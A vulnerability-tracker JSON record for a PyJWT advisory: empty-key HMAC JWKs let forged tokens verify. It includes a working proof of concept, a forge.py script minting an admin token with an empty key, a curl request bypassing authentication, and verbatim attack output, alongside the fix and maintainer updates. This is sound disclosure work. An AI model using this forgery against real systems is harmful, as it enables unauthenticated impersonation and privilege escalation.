{"id":"GHSA-pxh4-856f-4h89","kind":"vulnerability","aliases":["GHSA-pxh4-856f-4h89"],"related":[],"title":"PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery","description":"### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `<= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -> bytes:\n    try:\n        if isinstance(jwk, str):\n            obj: JWKDict = json.loads(jwk)\n        elif isinstance(jwk, dict):\n            obj = jwk\n        else:\n            raise ValueError\n    except ValueError:\n        raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n    if obj.get(\"kty\") != \"oct\":\n        raise InvalidKeyError(\"Not an HMAC key\")\n\n    return base64url_decode(obj[\"k\"])   # <-- empty k -> b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -> bytes:\n    key_bytes = force_bytes(key)\n\n    if len(key_bytes) == 0:\n        raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n        if isinstance(key, PyJWK):\n            if alg != key.algorithm_name:\n                raise InvalidAlgorithmError(\n                    f\"Token algorithm {alg!r} does not match the key's \"\n                    f\"algorithm {key.algorithm_name!r}\"\n                )\n            alg_obj = key.Algorithm\n            prepared_key = key.key            # from_jwk output (b\"\"), prepare_key not run\n        else:\n            try:\n                alg_obj = self.get_algorithm_by_name(alg)\n            except NotImplementedError as e:\n                raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n            prepared_key = alg_obj.prepare_key(key)\n\n        key_length_msg = alg_obj.check_key_length(prepared_key)\n        if key_length_msg:\n            if effective_options.get(\"enforce_minimum_key_length\", False):\n                raise InvalidKeyError(key_length_msg)\n            else:\n                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only\n\n        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b\"\" succeeds\n            raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved\n`PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -> `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\")   # UNSET at runtime -> \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n    return jsonify({\"keys\": [{\n        \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n        \"kid\": \"auth-signing-2026\",\n        \"k\": b64u(SIGNING_SECRET.encode()),   # empty secret -> k == \"\"\n    }]})\n\nif __name__ == \"__main__\":\n    app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n    auth = request.headers.get(\"Authorization\", \"\")\n    if not auth.startswith(\"Bearer \"):\n        return None, \"missing bearer token\"\n    token = auth.split(\" \", 1)[1]\n    try:\n        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid\n        claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n    except Exception as e:\n        return None, \"invalid token: %s\" % type(e).__name__\n    return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n    claims, err = authenticate()\n    if err:\n        return jsonify({\"error\": err}), 401\n    if claims.get(\"role\") != \"admin\":\n        return jsonify({\"error\": \"forbidden\"}), 403\n    return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n                    \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n    app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)>1 else b\"\"   # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v && ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n  <-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n  <-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n  <-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n  <-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n  <-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n  with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n  yielding full impersonation and privilege escalation on any endpoint gated by\n  such tokens.\n- Reachable through the documented JWKS verification API\n  (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n  string-secret path already rejects in 2.13.0, leaving the JWK path as an\n  asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n    raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n    raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n> Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","summary":"PyJWT accepts an HMAC key that is an empty string when it is loaded from a JWK (kty=oct with k=\"\"), so tokens signed with an empty key verify. An unauthenticated attacker can forge tokens with arbitrary claims such as role=admin on any endpoint that verifies through PyJWK, PyJWKSet or PyJWKClient with such a key.","severity":"high","cvss":7.400000095367432,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"pyjwt","fixed":["2.14.0"],"affected":"<= 2.13.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-347","flask","jwks","package","pyjwt","python","self-hosted"],"not_affected_if":["asymmetric-only-verification","managed-hosting","non-empty-hmac-secret","non-jwk-key-loading"],"how_to_check":"Look for JWKS entries with kty=oct and an empty k value, served by your IdP or loaded from config, for example: curl -s <jwks_url> | grep '\"k\":\"\"'\nCheck the installed version: pip show pyjwt (affected if 2.13.0 or lower)\nSearch for PyJWKClient, PyJWKSet or PyJWK use alongside HS256/HS384/HS512 verification","fix":"Upgrade PyJWT to 2.14.0 or later.\nUntil then, make sure the HMAC signing secret is never empty (fail startup if the env var is unset) and do not trust JWKS entries with an empty k.","status":"open","published_at":"2026-10-22T15:48:04+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T19:56:17+00:00","updated_at":"2026-10-23T19:56:17+00:00","category":"package","confidence":0.9,"triage":{"at":"2026-10-23T19:56:17Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade PyJWT to 2.14.0 or later.\nUntil then, make sure the HMAC signing secret is never empty (fail startup if the env var is unset) and do not trust JWKS entries with an empty k.","summary":"PyJWT accepts an HMAC key that is an empty string when it is loaded from a JWK (kty=oct with k=\"\"), so tokens signed with an empty key verify. An unauthenticated attacker can forge tokens with arbitrary claims such as role=admin on any endpoint that verifies through PyJWK, PyJWKSet or PyJWKClient with such a key.","category":"package","who_cares":["python","pyjwt","jwks","self-hosted","flask"],"confidence":0.9,"analyst_note":"Confirm the fixed release and whether 2.14.0 contains the from_jwk empty-key check via the GHSA-pxh4-856f-4h89 advisory page and the PyPI release notes.","how_to_check":"Look for JWKS entries with kty=oct and an empty k value, served by your IdP or loaded from config, for example: curl -s <jwks_url> | grep '\"k\":\"\"'\nCheck the installed version: pip show pyjwt (affected if 2.13.0 or lower)\nSearch for PyJWKClient, PyJWKSet or PyJWK use alongside HS256/HS384/HS512 verification","needs_analyst":true,"not_affected_if":["asymmetric-only-verification","non-jwk-key-loading","non-empty-hmac-secret","managed-hosting"],"severity_if_unknown":"unknown"},"cost_usd":0.001003,"input_tokens":7262,"output_tokens":554,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':257C,266C '-329':509C '-347':27B '-416':543C '-44351':258C '-45363':267C '0':528C '2.13.0':197C,286C,301C,419C '325':508C '380':438C '389':542C '4h89':19A,24A '7144e4534':291C '856f':18A,23A '9.1':260C 'accept':4A,37B,95C,146C,240C 'add':195C,269C 'admin':77B 'affect':280C 'alg':569C,577C,590C,606C,612C 'alg_obj.check':632C 'alg_obj.prepare':626C 'algorithm':576C,586C,609C,619C 'alreadi':298C,416C 'api':411C 'applic':322C,392C 'arbitrari':72B,341C 'attack':67B,150C,158C 'b':142C,384C,494C,599C 'base64url':382C,488C 'base64url-encodes':381C 'bypass':550C 'byte':447C,517C,518C,520C,522C,527C 'c34810f4525dc4578a32addd8212cff':292C 'carri':356C 'case':405C 'claim':73B,342C 'close':249C 'code':206C,433C 'commit':290C 'comput':139C 'config':374C 'contain':396C 'contrast':497C 'current':248C,287C 'cve':256C,265C 'cvss':259C 'cwe':26B 'decod':217C,489C 'def':441C,511C 'default':216C,562C 'defect':243C 'dict':460C 'digest':166C 'direct':549C 'e':616C,623C 'ecosystem':246C 'effective_options.get':642C 'elif':457C 'els':463C,604C 'emit':222C 'empti':5A,44B,62B,106C,155C,170C,180C,185C,276C,335C,358C,492C,536C 'empty-key':184C 'empty/nil':236C 'enabl':12A 'encod':383C 'endpoint':80B,319C 'enforc':643C 'entri':355C,399C 'environ':371C 'equival':401C 'error':227C 'except':466C,613C 'exploit':214C 'f':574C,585C 'fallback':379C 'fals':647C 'fast':254C 'fast-jwt':253C 'fatal':560C 'finder':378C 'flask':28B 'forc':521C 'forg':69B,151C,338C 'forgeri':14A 'get':504C 'ghsa':16A,21A 'ghsa-pxh4-856f-4h89':15A,20A 'guard':299C,506C 'hmac':6A,39B,137C,140C,237C,277C,348C,485C,531C 'hmacalgorithm.from':93C,435C 'hmacalgorithm.prepare':189C 'host':35B 'hs256/384/512':2A 'input':144C 'insecurekeylengthwarn':224C 'invalidalgorithmerror':573C,618C 'invalidkeyerror':469C,482C,530C 'isinst':450C,458C,565C 'json':474C 'json.loads':455C 'jwk':10A,52B,94C,100C,182C,205C,421C,436C,443C,444C,451C,456C,459C,462C,597C 'jwk/jwks':210C,303C,352C 'jwkdict':446C,454C 'jwks':29B,388C,395C 'jwt':245C,255C,264C,317C 'jwt-verifi':316C 'jwt.decode':412C 'jwt/algorithms.py':434C 'jwt/api_jws.py':538C 'k':56B,102C,181C,336C,359C,491C,493C 'key':7A,40B,63B,91B,114C,125C,141C,156C,171C,186C,190C,238C,278C,332C,349C,377C,414C,470C,486C,501C,513C,515C,519C,523C,526C,532C,547C,552C,566C,583C,594C,601C,625C,627C,628C,629C,633C,636C,638C,645C 'key-find':376C 'key.algorithm':570C,587C,592C 'key.key':595C 'kid':177C 'knowledg':162C 'kti':53B,98C,479C 'len':525C 'length':113C,555C,630C,634C,639C,646C 'librari':251C,272C 'library-sid':250C,271C 'line':437C,507C,541C 'load':49B 'local':167C 'master':288C 'match':581C 'materi':548C 'minimum':644C 'misconfigur':431C 'msg':631C,640C 'must':533C 'name':571C,588C,611C 'need':159C 'never':199C 'non':559C 'non-fat':558C 'none':476C 'notimplementederror':614C 'obj':453C,461C,490C,591C,607C 'obj.get':478C 'object':126C 'occur':361C 'oct':9A,54B,99C,331C,354C,480C 'option':218C 'output':598C 'packag':30B,284C 'parti':311C 'path':207C,220C,296C,304C 'perform':191C 'precondit':279C,343C 'prepar':500C,512C,551C,593C,600C,624C,635C 'privileg':307C 'propag':200C 'publish':387C 'pxh4':17A,22A 'pyjwk':84B,128C,131C,327C,546C,567C 'pyjwk/pyjwkclient':11A 'pyjwkclient':87B,135C,329C 'pyjwkset':85B,134C,328C 'pyjwt':1A,25A,31B,36B,282C,285C 'pypi':283C 'python':32B,439C,510C,563C 'r':578C,589C 'rais':116C,464C,468C,481C,529C,572C,617C 'reach':314C 'reachabl':426C 'reject':187C,275C,417C,496C 'reject-empty-hmac-key':274C 'remain':425C 'reproduc':164C 'requir':308C 'resolv':132C,346C 'return':109C,487C 'role':76B 'rout':212C,422C 'row':375C 'rubi':263C 'ruby-jwt':262C 'run':603C 'secret':161C,194C,295C,365C,404C,410C 'self':34B,514C 'self-host':33B 'self.get':608C 'set':173C 'sibl':203C,499C 'side':252C,273C 'sign':59B,143C,364C 'signatur':540C 'sourc':367C 'staticmethod':440C 'stay':213C 'still':230C 'str':445C,452C,516C 'string':45B,107C,409C 'string-secret':408C 'string/bytes':193C,294C 'succeed':231C 'summari':92C 'support':621C 'surfac':427C 'symmetr':97C 'token':13A,58B,70B,119C,148C,175C,339C,413C,575C 'tri':448C,605C 'trust':393C 'unauthent':66B,309C 'unset':370C,373C,403C 'unset-secret':402C 'use':544C 'valid':473C 'valu':103C 'valueerror':465C,467C 'variabl':372C 'verif':211C,229C 'verifi':3A,64B,82B,122C,138C,242C,318C,324C,345C,539C 'version':281C 'via':8A,325C 'vulner':432C 'warn':556C 'whose':101C,330C,353C 'without':115C 'zero':112C 'zero-length':111C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-22T15:48:04+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-pxh4-856f-4h89","url":"https://github.com/advisories/GHSA-pxh4-856f-4h89","severity":"high","published_at":"2026-10-22T15:48:04+00:00","modified_at":"2026-10-22T15:48:05+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}